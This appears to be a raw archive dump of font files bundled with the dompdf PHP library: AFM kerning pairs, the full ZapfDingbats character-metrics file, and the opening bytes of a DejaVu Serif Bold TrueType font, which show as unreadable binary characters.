KPX Ydieresis atilde -92
KPX Ydieresis colon -65
KPX Ydieresis comma -92
KPX Ydieresis e -92
KPX Ydieresis eacute -92
KPX Ydieresis ecaron -92
KPX Ydieresis ecircumflex -92
KPX Ydieresis edieresis -52
KPX Ydieresis edotaccent -92
KPX Ydieresis egrave -52
KPX Ydieresis emacron -52
KPX Ydieresis eogonek -92
KPX Ydieresis hyphen -74
KPX Ydieresis i -74
KPX Ydieresis iacute -74
KPX Ydieresis icircumflex -34
KPX Ydieresis idieresis -34
KPX Ydieresis igrave -34
KPX Ydieresis imacron -34
KPX Ydieresis iogonek -74
KPX Ydieresis o -92
KPX Ydieresis oacute -92
KPX Ydieresis ocircumflex -92
KPX Ydieresis odieresis -92
KPX Ydieresis ograve -92
KPX Ydieresis ohungarumlaut -92
KPX Ydieresis omacron -92
KPX Ydieresis oslash -92
KPX Ydieresis otilde -92
KPX Ydieresis period -92
KPX Ydieresis semicolon -65
KPX Ydieresis u -92
KPX Ydieresis uacute -92
KPX Ydieresis ucircumflex -92
KPX Ydieresis udieresis -92
KPX Ydieresis ugrave -92
KPX Ydieresis uhungarumlaut -92
KPX Ydieresis umacron -92
KPX Ydieresis uogonek -92
KPX Ydieresis uring -92
KPX a g -10
KPX a gbreve -10
KPX a gcommaaccent -10
KPX aacute g -10
KPX aacute gbreve -10
KPX aacute gcommaaccent -10
KPX abreve g -10
KPX abreve gbreve -10
KPX abreve gcommaaccent -10
KPX acircumflex g -10
KPX acircumflex gbreve -10
KPX acircumflex gcommaaccent -10
KPX adieresis g -10
KPX adieresis gbreve -10
KPX adieresis gcommaaccent -10
KPX agrave g -10
KPX agrave gbreve -10
KPX agrave gcommaaccent -10
KPX amacron g -10
KPX amacron gbreve -10
KPX amacron gcommaaccent -10
KPX aogonek g -10
KPX aogonek gbreve -10
KPX aogonek gcommaaccent -10
KPX aring g -10
KPX aring gbreve -10
KPX aring gcommaaccent -10
KPX atilde g -10
KPX atilde gbreve -10
KPX atilde gcommaaccent -10
KPX b period -40
KPX b u -20
KPX b uacute -20
KPX b ucircumflex -20
KPX b udieresis -20
KPX b ugrave -20
KPX b uhungarumlaut -20
KPX b umacron -20
KPX b uogonek -20
KPX b uring -20
KPX c h -15
KPX c k -20
KPX c kcommaaccent -20
KPX cacute h -15
KPX cacute k -20
KPX cacute kcommaaccent -20
KPX ccaron h -15
KPX ccaron k -20
KPX ccaron kcommaaccent -20
KPX ccedilla h -15
KPX ccedilla k -20
KPX ccedilla kcommaaccent -20
KPX comma quotedblright -140
KPX comma quoteright -140
KPX e comma -10
KPX e g -40
KPX e gbreve -40
KPX e gcommaaccent -40
KPX e period -15
KPX e v -15
KPX e w -15
KPX e x -20
KPX e y -30
KPX e yacute -30
KPX e ydieresis -30
KPX eacute comma -10
KPX eacute g -40
KPX eacute gbreve -40
KPX eacute gcommaaccent -40
KPX eacute period -15
KPX eacute v -15
KPX eacute w -15
KPX eacute x -20
KPX eacute y -30
KPX eacute yacute -30
KPX eacute ydieresis -30
KPX ecaron comma -10
KPX ecaron g -40
KPX ecaron gbreve -40
KPX ecaron gcommaaccent -40
KPX ecaron period -15
KPX ecaron v -15
KPX ecaron w -15
KPX ecaron x -20
KPX ecaron y -30
KPX ecaron yacute -30
KPX ecaron ydieresis -30
KPX ecircumflex comma -10
KPX ecircumflex g -40
KPX ecircumflex gbreve -40
KPX ecircumflex gcommaaccent -40
KPX ecircumflex period -15
KPX ecircumflex v -15
KPX ecircumflex w -15
KPX ecircumflex x -20
KPX ecircumflex y -30
KPX ecircumflex yacute -30
KPX ecircumflex ydieresis -30
KPX edieresis comma -10
KPX edieresis g -40
KPX edieresis gbreve -40
KPX edieresis gcommaaccent -40
KPX edieresis period -15
KPX edieresis v -15
KPX edieresis w -15
KPX edieresis x -20
KPX edieresis y -30
KPX edieresis yacute -30
KPX edieresis ydieresis -30
KPX edotaccent comma -10
KPX edotaccent g -40
KPX edotaccent gbreve -40
KPX edotaccent gcommaaccent -40
KPX edotaccent period -15
KPX edotaccent v -15
KPX edotaccent w -15
KPX edotaccent x -20
KPX edotaccent y -30
KPX edotaccent yacute -30
KPX edotaccent ydieresis -30
KPX egrave comma -10
KPX egrave g -40
KPX egrave gbreve -40
KPX egrave gcommaaccent -40
KPX egrave period -15
KPX egrave v -15
KPX egrave w -15
KPX egrave x -20
KPX egrave y -30
KPX egrave yacute -30
KPX egrave ydieresis -30
KPX emacron comma -10
KPX emacron g -40
KPX emacron gbreve -40
KPX emacron gcommaaccent -40
KPX emacron period -15
KPX emacron v -15
KPX emacron w -15
KPX emacron x -20
KPX emacron y -30
KPX emacron yacute -30
KPX emacron ydieresis -30
KPX eogonek comma -10
KPX eogonek g -40
KPX eogonek gbreve -40
KPX eogonek gcommaaccent -40
KPX eogonek period -15
KPX eogonek v -15
KPX eogonek w -15
KPX eogonek x -20
KPX eogonek y -30
KPX eogonek yacute -30
KPX eogonek ydieresis -30
KPX f comma -10
KPX f dotlessi -60
KPX f f -18
KPX f i -20
KPX f iogonek -20
KPX f period -15
KPX f quoteright 92
KPX g comma -10
KPX g e -10
KPX g eacute -10
KPX g ecaron -10
KPX g ecircumflex -10
KPX g edieresis -10
KPX g edotaccent -10
KPX g egrave -10
KPX g emacron -10
KPX g eogonek -10
KPX g g -10
KPX g gbreve -10
KPX g gcommaaccent -10
KPX g period -15
KPX gbreve comma -10
KPX gbreve e -10
KPX gbreve eacute -10
KPX gbreve ecaron -10
KPX gbreve ecircumflex -10
KPX gbreve edieresis -10
KPX gbreve edotaccent -10
KPX gbreve egrave -10
KPX gbreve emacron -10
KPX gbreve eogonek -10
KPX gbreve g -10
KPX gbreve gbreve -10
KPX gbreve gcommaaccent -10
KPX gbreve period -15
KPX gcommaaccent comma -10
KPX gcommaaccent e -10
KPX gcommaaccent eacute -10
KPX gcommaaccent ecaron -10
KPX gcommaaccent ecircumflex -10
KPX gcommaaccent edieresis -10
KPX gcommaaccent edotaccent -10
KPX gcommaaccent egrave -10
KPX gcommaaccent emacron -10
KPX gcommaaccent eogonek -10
KPX gcommaaccent g -10
KPX gcommaaccent gbreve -10
KPX gcommaaccent gcommaaccent -10
KPX gcommaaccent period -15
KPX k e -10
KPX k eacute -10
KPX k ecaron -10
KPX k ecircumflex -10
KPX k edieresis -10
KPX k edotaccent -10
KPX k egrave -10
KPX k emacron -10
KPX k eogonek -10
KPX k o -10
KPX k oacute -10
KPX k ocircumflex -10
KPX k odieresis -10
KPX k ograve -10
KPX k ohungarumlaut -10
KPX k omacron -10
KPX k oslash -10
KPX k otilde -10
KPX k y -10
KPX k yacute -10
KPX k ydieresis -10
KPX kcommaaccent e -10
KPX kcommaaccent eacute -10
KPX kcommaaccent ecaron -10
KPX kcommaaccent ecircumflex -10
KPX kcommaaccent edieresis -10
KPX kcommaaccent edotaccent -10
KPX kcommaaccent egrave -10
KPX kcommaaccent emacron -10
KPX kcommaaccent eogonek -10
KPX kcommaaccent o -10
KPX kcommaaccent oacute -10
KPX kcommaaccent ocircumflex -10
KPX kcommaaccent odieresis -10
KPX kcommaaccent ograve -10
KPX kcommaaccent ohungarumlaut -10
KPX kcommaaccent omacron -10
KPX kcommaaccent oslash -10
KPX kcommaaccent otilde -10
KPX kcommaaccent y -10
KPX kcommaaccent yacute -10
KPX kcommaaccent ydieresis -10
KPX n v -40
KPX nacute v -40
KPX ncaron v -40
KPX ncommaaccent v -40
KPX ntilde v -40
KPX o g -10
KPX o gbreve -10
KPX o gcommaaccent -10
KPX o v -10
KPX oacute g -10
KPX oacute gbreve -10
KPX oacute gcommaaccent -10
KPX oacute v -10
KPX ocircumflex g -10
KPX ocircumflex gbreve -10
KPX ocircumflex gcommaaccent -10
KPX ocircumflex v -10
KPX odieresis g -10
KPX odieresis gbreve -10
KPX odieresis gcommaaccent -10
KPX odieresis v -10
KPX ograve g -10
KPX ograve gbreve -10
KPX ograve gcommaaccent -10
KPX ograve v -10
KPX ohungarumlaut g -10
KPX ohungarumlaut gbreve -10
KPX ohungarumlaut gcommaaccent -10
KPX ohungarumlaut v -10
KPX omacron g -10
KPX omacron gbreve -10
KPX omacron gcommaaccent -10
KPX omacron v -10
KPX oslash g -10
KPX oslash gbreve -10
KPX oslash gcommaaccent -10
KPX oslash v -10
KPX otilde g -10
KPX otilde gbreve -10
KPX otilde gcommaaccent -10
KPX otilde v -10
KPX period quotedblright -140
KPX period quoteright -140
KPX quoteleft quoteleft -111
KPX quoteright d -25
KPX quoteright dcroat -25
KPX quoteright quoteright -111
KPX quoteright r -25
KPX quoteright racute -25
KPX quoteright rcaron -25
KPX quoteright rcommaaccent -25
KPX quoteright s -40
KPX quoteright sacute -40
KPX quoteright scaron -40
KPX quoteright scedilla -40
KPX quoteright scommaaccent -40
KPX quoteright space -111
KPX quoteright t -30
KPX quoteright tcommaaccent -30
KPX quoteright v -10
KPX r a -15
KPX r aacute -15
KPX r abreve -15
KPX r acircumflex -15
KPX r adieresis -15
KPX r agrave -15
KPX r amacron -15
KPX r aogonek -15
KPX r aring -15
KPX r atilde -15
KPX r c -37
KPX r cacute -37
KPX r ccaron -37
KPX r ccedilla -37
KPX r comma -111
KPX r d -37
KPX r dcroat -37
KPX r e -37
KPX r eacute -37
KPX r ecaron -37
KPX r ecircumflex -37
KPX r edieresis -37
KPX r edotaccent -37
KPX r egrave -37
KPX r emacron -37
KPX r eogonek -37
KPX r g -37
KPX r gbreve -37
KPX r gcommaaccent -37
KPX r hyphen -20
KPX r o -45
KPX r oacute -45
KPX r ocircumflex -45
KPX r odieresis -45
KPX r ograve -45
KPX r ohungarumlaut -45
KPX r omacron -45
KPX r oslash -45
KPX r otilde -45
KPX r period -111
KPX r q -37
KPX r s -10
KPX r sacute -10
KPX r scaron -10
KPX r scedilla -10
KPX r scommaaccent -10
KPX racute a -15
KPX racute aacute -15
KPX racute abreve -15
KPX racute acircumflex -15
KPX racute adieresis -15
KPX racute agrave -15
KPX racute amacron -15
KPX racute aogonek -15
KPX racute aring -15
KPX racute atilde -15
KPX racute c -37
KPX racute cacute -37
KPX racute ccaron -37
KPX racute ccedilla -37
KPX racute comma -111
KPX racute d -37
KPX racute dcroat -37
KPX racute e -37
KPX racute eacute -37
KPX racute ecaron -37
KPX racute ecircumflex -37
KPX racute edieresis -37
KPX racute edotaccent -37
KPX racute egrave -37
KPX racute emacron -37
KPX racute eogonek -37
KPX racute g -37
KPX racute gbreve -37
KPX racute gcommaaccent -37
KPX racute hyphen -20
KPX racute o -45
KPX racute oacute -45
KPX racute ocircumflex -45
KPX racute odieresis -45
KPX racute ograve -45
KPX racute ohungarumlaut -45
KPX racute omacron -45
KPX racute oslash -45
KPX racute otilde -45
KPX racute period -111
KPX racute q -37
KPX racute s -10
KPX racute sacute -10
KPX racute scaron -10
KPX racute scedilla -10
KPX racute scommaaccent -10
KPX rcaron a -15
KPX rcaron aacute -15
KPX rcaron abreve -15
KPX rcaron acircumflex -15
KPX rcaron adieresis -15
KPX rcaron agrave -15
KPX rcaron amacron -15
KPX rcaron aogonek -15
KPX rcaron aring -15
KPX rcaron atilde -15
KPX rcaron c -37
KPX rcaron cacute -37
KPX rcaron ccaron -37
KPX rcaron ccedilla -37
KPX rcaron comma -111
KPX rcaron d -37
KPX rcaron dcroat -37
KPX rcaron e -37
KPX rcaron eacute -37
KPX rcaron ecaron -37
KPX rcaron ecircumflex -37
KPX rcaron edieresis -37
KPX rcaron edotaccent -37
KPX rcaron egrave -37
KPX rcaron emacron -37
KPX rcaron eogonek -37
KPX rcaron g -37
KPX rcaron gbreve -37
KPX rcaron gcommaaccent -37
KPX rcaron hyphen -20
KPX rcaron o -45
KPX rcaron oacute -45
KPX rcaron ocircumflex -45
KPX rcaron odieresis -45
KPX rcaron ograve -45
KPX rcaron ohungarumlaut -45
KPX rcaron omacron -45
KPX rcaron oslash -45
KPX rcaron otilde -45
KPX rcaron period -111
KPX rcaron q -37
KPX rcaron s -10
KPX rcaron sacute -10
KPX rcaron scaron -10
KPX rcaron scedilla -10
KPX rcaron scommaaccent -10
KPX rcommaaccent a -15
KPX rcommaaccent aacute -15
KPX rcommaaccent abreve -15
KPX rcommaaccent acircumflex -15
KPX rcommaaccent adieresis -15
KPX rcommaaccent agrave -15
KPX rcommaaccent amacron -15
KPX rcommaaccent aogonek -15
KPX rcommaaccent aring -15
KPX rcommaaccent atilde -15
KPX rcommaaccent c -37
KPX rcommaaccent cacute -37
KPX rcommaaccent ccaron -37
KPX rcommaaccent ccedilla -37
KPX rcommaaccent comma -111
KPX rcommaaccent d -37
KPX rcommaaccent dcroat -37
KPX rcommaaccent e -37
KPX rcommaaccent eacute -37
KPX rcommaaccent ecaron -37
KPX rcommaaccent ecircumflex -37
KPX rcommaaccent edieresis -37
KPX rcommaaccent edotaccent -37
KPX rcommaaccent egrave -37
KPX rcommaaccent emacron -37
KPX rcommaaccent eogonek -37
KPX rcommaaccent g -37
KPX rcommaaccent gbreve -37
KPX rcommaaccent gcommaaccent -37
KPX rcommaaccent hyphen -20
KPX rcommaaccent o -45
KPX rcommaaccent oacute -45
KPX rcommaaccent ocircumflex -45
KPX rcommaaccent odieresis -45
KPX rcommaaccent ograve -45
KPX rcommaaccent ohungarumlaut -45
KPX rcommaaccent omacron -45
KPX rcommaaccent oslash -45
KPX rcommaaccent otilde -45
KPX rcommaaccent period -111
KPX rcommaaccent q -37
KPX rcommaaccent s -10
KPX rcommaaccent sacute -10
KPX rcommaaccent scaron -10
KPX rcommaaccent scedilla -10
KPX rcommaaccent scommaaccent -10
KPX space A -18
KPX space Aacute -18
KPX space Abreve -18
KPX space Acircumflex -18
KPX space Adieresis -18
KPX space Agrave -18
KPX space Amacron -18
KPX space Aogonek -18
KPX space Aring -18
KPX space Atilde -18
KPX space T -18
KPX space Tcaron -18
KPX space Tcommaaccent -18
KPX space V -35
KPX space W -40
KPX space Y -75
KPX space Yacute -75
KPX space Ydieresis -75
KPX v comma -74
KPX v period -74
KPX w comma -74
KPX w period -74
KPX y comma -55
KPX y period -55
KPX yacute comma -55
KPX yacute period -55
KPX ydieresis comma -55
KPX ydieresis period -55
EndKernPairs
EndKernData
EndFontMetrics
vendor/dompdf/dompdf/lib/fonts/ZapfDingbats.afm000066600000023030151150442760015532 0ustar00StartFontMetrics 4.1
Comment Copyright (c) 1985, 1987, 1988, 1989, 1997 Adobe Systems Incorporated. All Rights Reserved.
Comment Creation Date: Thu May  1 15:14:13 1997
Comment UniqueID 43082
Comment VMusage 45775 55535
FontName ZapfDingbats
FullName ITC Zapf Dingbats
FamilyName ZapfDingbats
Weight Medium
ItalicAngle 0
IsFixedPitch false
CharacterSet Special
FontBBox -1 -143 981 820 
UnderlinePosition -100
UnderlineThickness 50
Version 002.000
Notice Copyright (c) 1985, 1987, 1988, 1989, 1997 Adobe Systems Incorporated. All Rights Reserved.ITC Zapf Dingbats is a registered trademark of International Typeface Corporation.
EncodingScheme FontSpecific
StdHW 28
StdVW 90
StartCharMetrics 202
C 32 ; WX 278 ; N space ; B 0 0 0 0 ;
C 33 ; WX 974 ; N a1 ; B 35 72 939 621 ;
C 34 ; WX 961 ; N a2 ; B 35 81 927 611 ;
C 35 ; WX 974 ; N a202 ; B 35 72 939 621 ;
C 36 ; WX 980 ; N a3 ; B 35 0 945 692 ;
C 37 ; WX 719 ; N a4 ; B 34 139 685 566 ;
C 38 ; WX 789 ; N a5 ; B 35 -14 755 705 ;
C 39 ; WX 790 ; N a119 ; B 35 -14 755 705 ;
C 40 ; WX 791 ; N a118 ; B 35 -13 761 705 ;
C 41 ; WX 690 ; N a117 ; B 34 138 655 553 ;
C 42 ; WX 960 ; N a11 ; B 35 123 925 568 ;
C 43 ; WX 939 ; N a12 ; B 35 134 904 559 ;
C 44 ; WX 549 ; N a13 ; B 29 -11 516 705 ;
C 45 ; WX 855 ; N a14 ; B 34 59 820 632 ;
C 46 ; WX 911 ; N a15 ; B 35 50 876 642 ;
C 47 ; WX 933 ; N a16 ; B 35 139 899 550 ;
C 48 ; WX 911 ; N a105 ; B 35 50 876 642 ;
C 49 ; WX 945 ; N a17 ; B 35 139 909 553 ;
C 50 ; WX 974 ; N a18 ; B 35 104 938 587 ;
C 51 ; WX 755 ; N a19 ; B 34 -13 721 705 ;
C 52 ; WX 846 ; N a20 ; B 36 -14 811 705 ;
C 53 ; WX 762 ; N a21 ; B 35 0 727 692 ;
C 54 ; WX 761 ; N a22 ; B 35 0 727 692 ;
C 55 ; WX 571 ; N a23 ; B -1 -68 571 661 ;
C 56 ; WX 677 ; N a24 ; B 36 -13 642 705 ;
C 57 ; WX 763 ; N a25 ; B 35 0 728 692 ;
C 58 ; WX 760 ; N a26 ; B 35 0 726 692 ;
C 59 ; WX 759 ; N a27 ; B 35 0 725 692 ;
C 60 ; WX 754 ; N a28 ; B 35 0 720 692 ;
C 61 ; WX 494 ; N a6 ; B 35 0 460 692 ;
C 62 ; WX 552 ; N a7 ; B 35 0 517 692 ;
C 63 ; WX 537 ; N a8 ; B 35 0 503 692 ;
C 64 ; WX 577 ; N a9 ; B 35 96 542 596 ;
C 65 ; WX 692 ; N a10 ; B 35 -14 657 705 ;
C 66 ; WX 786 ; N a29 ; B 35 -14 751 705 ;
C 67 ; WX 788 ; N a30 ; B 35 -14 752 705 ;
C 68 ; WX 788 ; N a31 ; B 35 -14 753 705 ;
C 69 ; WX 790 ; N a32 ; B 35 -14 756 705 ;
C 70 ; WX 793 ; N a33 ; B 35 -13 759 705 ;
C 71 ; WX 794 ; N a34 ; B 35 -13 759 705 ;
C 72 ; WX 816 ; N a35 ; B 35 -14 782 705 ;
C 73 ; WX 823 ; N a36 ; B 35 -14 787 705 ;
C 74 ; WX 789 ; N a37 ; B 35 -14 754 705 ;
C 75 ; WX 841 ; N a38 ; B 35 -14 807 705 ;
C 76 ; WX 823 ; N a39 ; B 35 -14 789 705 ;
C 77 ; WX 833 ; N a40 ; B 35 -14 798 705 ;
C 78 ; WX 816 ; N a41 ; B 35 -13 782 705 ;
C 79 ; WX 831 ; N a42 ; B 35 -14 796 705 ;
C 80 ; WX 923 ; N a43 ; B 35 -14 888 705 ;
C 81 ; WX 744 ; N a44 ; B 35 0 710 692 ;
C 82 ; WX 723 ; N a45 ; B 35 0 688 692 ;
C 83 ; WX 749 ; N a46 ; B 35 0 714 692 ;
C 84 ; WX 790 ; N a47 ; B 34 -14 756 705 ;
C 85 ; WX 792 ; N a48 ; B 35 -14 758 705 ;
C 86 ; WX 695 ; N a49 ; B 35 -14 661 706 ;
C 87 ; WX 776 ; N a50 ; B 35 -6 741 699 ;
C 88 ; WX 768 ; N a51 ; B 35 -7 734 699 ;
C 89 ; WX 792 ; N a52 ; B 35 -14 757 705 ;
C 90 ; WX 759 ; N a53 ; B 35 0 725 692 ;
C 91 ; WX 707 ; N a54 ; B 35 -13 672 704 ;
C 92 ; WX 708 ; N a55 ; B 35 -14 672 705 ;
C 93 ; WX 682 ; N a56 ; B 35 -14 647 705 ;
C 94 ; WX 701 ; N a57 ; B 35 -14 666 705 ;
C 95 ; WX 826 ; N a58 ; B 35 -14 791 705 ;
C 96 ; WX 815 ; N a59 ; B 35 -14 780 705 ;
C 97 ; WX 789 ; N a60 ; B 35 -14 754 705 ;
C 98 ; WX 789 ; N a61 ; B 35 -14 754 705 ;
C 99 ; WX 707 ; N a62 ; B 34 -14 673 705 ;
C 100 ; WX 687 ; N a63 ; B 36 0 651 692 ;
C 101 ; WX 696 ; N a64 ; B 35 0 661 691 ;
C 102 ; WX 689 ; N a65 ; B 35 0 655 692 ;
C 103 ; WX 786 ; N a66 ; B 34 -14 751 705 ;
C 104 ; WX 787 ; N a67 ; B 35 -14 752 705 ;
C 105 ; WX 713 ; N a68 ; B 35 -14 678 705 ;
C 106 ; WX 791 ; N a69 ; B 35 -14 756 705 ;
C 107 ; WX 785 ; N a70 ; B 36 -14 751 705 ;
C 108 ; WX 791 ; N a71 ; B 35 -14 757 705 ;
C 109 ; WX 873 ; N a72 ; B 35 -14 838 705 ;
C 110 ; WX 761 ; N a73 ; B 35 0 726 692 ;
C 111 ; WX 762 ; N a74 ; B 35 0 727 692 ;
C 112 ; WX 762 ; N a203 ; B 35 0 727 692 ;
C 113 ; WX 759 ; N a75 ; B 35 0 725 692 ;
C 114 ; WX 759 ; N a204 ; B 35 0 725 692 ;
C 115 ; WX 892 ; N a76 ; B 35 0 858 705 ;
C 116 ; WX 892 ; N a77 ; B 35 -14 858 692 ;
C 117 ; WX 788 ; N a78 ; B 35 -14 754 705 ;
C 118 ; WX 784 ; N a79 ; B 35 -14 749 705 ;
C 119 ; WX 438 ; N a81 ; B 35 -14 403 705 ;
C 120 ; WX 138 ; N a82 ; B 35 0 104 692 ;
C 121 ; WX 277 ; N a83 ; B 35 0 242 692 ;
C 122 ; WX 415 ; N a84 ; B 35 0 380 692 ;
C 123 ; WX 392 ; N a97 ; B 35 263 357 705 ;
C 124 ; WX 392 ; N a98 ; B 34 263 357 705 ;
C 125 ; WX 668 ; N a99 ; B 35 263 633 705 ;
C 126 ; WX 668 ; N a100 ; B 36 263 634 705 ;
C 128 ; WX 390 ; N a89 ; B 35 -14 356 705 ;
C 129 ; WX 390 ; N a90 ; B 35 -14 355 705 ;
C 130 ; WX 317 ; N a93 ; B 35 0 283 692 ;
C 131 ; WX 317 ; N a94 ; B 35 0 283 692 ;
C 132 ; WX 276 ; N a91 ; B 35 0 242 692 ;
C 133 ; WX 276 ; N a92 ; B 35 0 242 692 ;
C 134 ; WX 509 ; N a205 ; B 35 0 475 692 ;
C 135 ; WX 509 ; N a85 ; B 35 0 475 692 ;
C 136 ; WX 410 ; N a206 ; B 35 0 375 692 ;
C 137 ; WX 410 ; N a86 ; B 35 0 375 692 ;
C 138 ; WX 234 ; N a87 ; B 35 -14 199 705 ;
C 139 ; WX 234 ; N a88 ; B 35 -14 199 705 ;
C 140 ; WX 334 ; N a95 ; B 35 0 299 692 ;
C 141 ; WX 334 ; N a96 ; B 35 0 299 692 ;
C 161 ; WX 732 ; N a101 ; B 35 -143 697 806 ;
C 162 ; WX 544 ; N a102 ; B 56 -14 488 706 ;
C 163 ; WX 544 ; N a103 ; B 34 -14 508 705 ;
C 164 ; WX 910 ; N a104 ; B 35 40 875 651 ;
C 165 ; WX 667 ; N a106 ; B 35 -14 633 705 ;
C 166 ; WX 760 ; N a107 ; B 35 -14 726 705 ;
C 167 ; WX 760 ; N a108 ; B 0 121 758 569 ;
C 168 ; WX 776 ; N a112 ; B 35 0 741 705 ;
C 169 ; WX 595 ; N a111 ; B 34 -14 560 705 ;
C 170 ; WX 694 ; N a110 ; B 35 -14 659 705 ;
C 171 ; WX 626 ; N a109 ; B 34 0 591 705 ;
C 172 ; WX 788 ; N a120 ; B 35 -14 754 705 ;
C 173 ; WX 788 ; N a121 ; B 35 -14 754 705 ;
C 174 ; WX 788 ; N a122 ; B 35 -14 754 705 ;
C 175 ; WX 788 ; N a123 ; B 35 -14 754 705 ;
C 176 ; WX 788 ; N a124 ; B 35 -14 754 705 ;
C 177 ; WX 788 ; N a125 ; B 35 -14 754 705 ;
C 178 ; WX 788 ; N a126 ; B 35 -14 754 705 ;
C 179 ; WX 788 ; N a127 ; B 35 -14 754 705 ;
C 180 ; WX 788 ; N a128 ; B 35 -14 754 705 ;
C 181 ; WX 788 ; N a129 ; B 35 -14 754 705 ;
C 182 ; WX 788 ; N a130 ; B 35 -14 754 705 ;
C 183 ; WX 788 ; N a131 ; B 35 -14 754 705 ;
C 184 ; WX 788 ; N a132 ; B 35 -14 754 705 ;
C 185 ; WX 788 ; N a133 ; B 35 -14 754 705 ;
C 186 ; WX 788 ; N a134 ; B 35 -14 754 705 ;
C 187 ; WX 788 ; N a135 ; B 35 -14 754 705 ;
C 188 ; WX 788 ; N a136 ; B 35 -14 754 705 ;
C 189 ; WX 788 ; N a137 ; B 35 -14 754 705 ;
C 190 ; WX 788 ; N a138 ; B 35 -14 754 705 ;
C 191 ; WX 788 ; N a139 ; B 35 -14 754 705 ;
C 192 ; WX 788 ; N a140 ; B 35 -14 754 705 ;
C 193 ; WX 788 ; N a141 ; B 35 -14 754 705 ;
C 194 ; WX 788 ; N a142 ; B 35 -14 754 705 ;
C 195 ; WX 788 ; N a143 ; B 35 -14 754 705 ;
C 196 ; WX 788 ; N a144 ; B 35 -14 754 705 ;
C 197 ; WX 788 ; N a145 ; B 35 -14 754 705 ;
C 198 ; WX 788 ; N a146 ; B 35 -14 754 705 ;
C 199 ; WX 788 ; N a147 ; B 35 -14 754 705 ;
C 200 ; WX 788 ; N a148 ; B 35 -14 754 705 ;
C 201 ; WX 788 ; N a149 ; B 35 -14 754 705 ;
C 202 ; WX 788 ; N a150 ; B 35 -14 754 705 ;
C 203 ; WX 788 ; N a151 ; B 35 -14 754 705 ;
C 204 ; WX 788 ; N a152 ; B 35 -14 754 705 ;
C 205 ; WX 788 ; N a153 ; B 35 -14 754 705 ;
C 206 ; WX 788 ; N a154 ; B 35 -14 754 705 ;
C 207 ; WX 788 ; N a155 ; B 35 -14 754 705 ;
C 208 ; WX 788 ; N a156 ; B 35 -14 754 705 ;
C 209 ; WX 788 ; N a157 ; B 35 -14 754 705 ;
C 210 ; WX 788 ; N a158 ; B 35 -14 754 705 ;
C 211 ; WX 788 ; N a159 ; B 35 -14 754 705 ;
C 212 ; WX 894 ; N a160 ; B 35 58 860 634 ;
C 213 ; WX 838 ; N a161 ; B 35 152 803 540 ;
C 214 ; WX 1016 ; N a163 ; B 34 152 981 540 ;
C 215 ; WX 458 ; N a164 ; B 35 -127 422 820 ;
C 216 ; WX 748 ; N a196 ; B 35 94 698 597 ;
C 217 ; WX 924 ; N a165 ; B 35 140 890 552 ;
C 218 ; WX 748 ; N a192 ; B 35 94 698 597 ;
C 219 ; WX 918 ; N a166 ; B 35 166 884 526 ;
C 220 ; WX 927 ; N a167 ; B 35 32 892 660 ;
C 221 ; WX 928 ; N a168 ; B 35 129 891 562 ;
C 222 ; WX 928 ; N a169 ; B 35 128 893 563 ;
C 223 ; WX 834 ; N a170 ; B 35 155 799 537 ;
C 224 ; WX 873 ; N a171 ; B 35 93 838 599 ;
C 225 ; WX 828 ; N a172 ; B 35 104 791 588 ;
C 226 ; WX 924 ; N a173 ; B 35 98 889 594 ;
C 227 ; WX 924 ; N a162 ; B 35 98 889 594 ;
C 228 ; WX 917 ; N a174 ; B 35 0 882 692 ;
C 229 ; WX 930 ; N a175 ; B 35 84 896 608 ;
C 230 ; WX 931 ; N a176 ; B 35 84 896 608 ;
C 231 ; WX 463 ; N a177 ; B 35 -99 429 791 ;
C 232 ; WX 883 ; N a178 ; B 35 71 848 623 ;
C 233 ; WX 836 ; N a179 ; B 35 44 802 648 ;
C 234 ; WX 836 ; N a193 ; B 35 44 802 648 ;
C 235 ; WX 867 ; N a180 ; B 35 101 832 591 ;
C 236 ; WX 867 ; N a199 ; B 35 101 832 591 ;
C 237 ; WX 696 ; N a181 ; B 35 44 661 648 ;
C 238 ; WX 696 ; N a200 ; B 35 44 661 648 ;
C 239 ; WX 874 ; N a182 ; B 35 77 840 619 ;
C 241 ; WX 874 ; N a201 ; B 35 73 840 615 ;
C 242 ; WX 760 ; N a183 ; B 35 0 725 692 ;
C 243 ; WX 946 ; N a184 ; B 35 160 911 533 ;
C 244 ; WX 771 ; N a197 ; B 34 37 736 655 ;
C 245 ; WX 865 ; N a185 ; B 35 207 830 481 ;
C 246 ; WX 771 ; N a194 ; B 34 37 736 655 ;
C 247 ; WX 888 ; N a198 ; B 34 -19 853 712 ;
C 248 ; WX 967 ; N a186 ; B 35 124 932 568 ;
C 249 ; WX 888 ; N a195 ; B 34 -19 853 712 ;
C 250 ; WX 831 ; N a187 ; B 35 113 796 579 ;
C 251 ; WX 873 ; N a188 ; B 36 118 838 578 ;
C 252 ; WX 927 ; N a189 ; B 35 150 891 542 ;
C 253 ; WX 970 ; N a190 ; B 35 76 931 616 ;
C 254 ; WX 918 ; N a191 ; B 34 99 884 593 ;
EndCharMetrics
EndFontMetrics
vendor/dompdf/dompdf/lib/fonts/DejaVuSerif-Bold.ttf000066600001267370151150442760016257 0ustar000FFTMs���<GDEF�||6X�GPOS�x�L�:GSUBz��<2OS/2n��TBHVcmapO�B�.cvt �먏R��fpgm���Tt�gaspUglyf�D�U�head��6 6hhea�s6X$hmtx��o6|6�kern>�l_mD!loca�|�X6�maxp0z�$ name妗;�D!{post�u����prep�V�:ix�=����)��)��������������������������������������
v
w
�
�
�
��DFLTcyrl*grekFlatnV��MKD SRB ����^AZE ^CRT ^GAG ^ISM ^KAZ ^KRK ^KSM ^LSM ^MOL ^NSM ^ROM ^SKS ^SSM ^TAT ^TRK ^��kernmarkmkmk �"�Bj BHNTZ`flrx~�����������������������f��<������<��<��<�������f��f��������f��8��<����f��f�f��f��f��f������������������������
w
w
y
y
{
����������
w
�&�����������������$*06<BHNTZ`flrx�����������������������������������������������������D���D��D�����������������������������������F�*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������		
				"	(	.	4	:	@	F	L	R	X	^	d	j	p	v	|	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�






$
*
0
6
<
B
H
N
T
Z
`
f
l
r
x
~
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������






$
*
0
6
<
B
H
N
T
Z
`
f
l
r
x
~
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������
